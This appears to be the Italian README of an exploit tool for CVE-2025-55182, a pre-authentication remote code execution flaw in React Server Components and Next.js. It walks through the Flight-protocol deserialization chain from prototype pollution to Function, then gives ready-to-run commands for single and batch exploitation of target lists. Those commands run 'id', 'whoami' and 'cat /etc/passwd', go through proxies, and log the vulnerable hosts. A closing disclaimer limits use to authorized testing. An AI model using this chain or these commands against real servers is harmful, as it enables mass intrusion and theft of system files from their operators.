CVE-2025-55182 - React2Shell

Esecuzione remota di codice pre-autenticazione in React Server Components / Next.js

Impatto

Principio della vulnerabilità

Questa vulnerabilità sfrutta un difetto di deserializzazione nel protocollo Flight di React Server Components (RSC), consentendo l'esecuzione remota di codice senza autenticazione tramite la costruzione di richieste multipart/form-data malevole. La catena di exploit completa è la seguente:

1. Il percorso Server Action viene attivato tramite POST multipart/form-data con l'header di richiesta Next-Action
2. Lo Chunk "0" contiene un oggetto JSON appositamente costruito (non racchiuso in un array); $1:__proto__:then accede a Chunk.prototype.then sull'oggetto dello Chunk 1 in stato PENDING, rendendolo un thenable
3. $1:constructor:constructor viene risolto nel costruttore Function attraverso la catena dei prototipi
4. Chunk.prototype.then invoca initializeModelChunk per analizzare il campo value '{"then":"$B0"}'
5. L'analisi del blob $B0 invoca _formData.get(_prefix + "0"), ovvero Function(code + "0")

Installazione delle dipendenze

pip install requests[socks]

Se mancano le dipendenze, lo script tenta automaticamente di installare requests e PySocks.

Utilizzo

RCE su singolo obiettivo

python CVE-2025-55182.py -u http://target:3000 -c "id"

Sfruttamento in batch

python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

Rilevamento della sola vulnerabilità (senza eseguire comandi)

python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

Utilizzo di un proxy

# HTTP 代理
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# SOCKS5 代理
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

Modalità di debug

python CVE-2025-55182.py -u http://target:3000 -c "id" -v

Descrizione completa dei parametri

Descrizione degli output

• VULN — L'obiettivo è vulnerabile; ottenuto con successo il risultato dell'esecuzione del comando
• MAYBE — Possibile vulnerabilità (es. timeout di lettura)
• ERR — Errore di connessione
• SAFE — Nessuna vulnerabilità rilevata

I risultati della scansione in batch vengono scritti nel file di output specificato da -o; vengono registrati solo gli obiettivi confermati come vulnerabili.

Esempio di formato di targets.txt

http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi di ricerca sulla sicurezza. L'utente deve assicurarsi di aver ottenuto l'autorizzazione esplicita del proprietario del sistema di destinazione. Eseguire test di penetrazione su sistemi senza autorizzazione costituisce un illecito; l'utente si assume ogni responsabilità legale.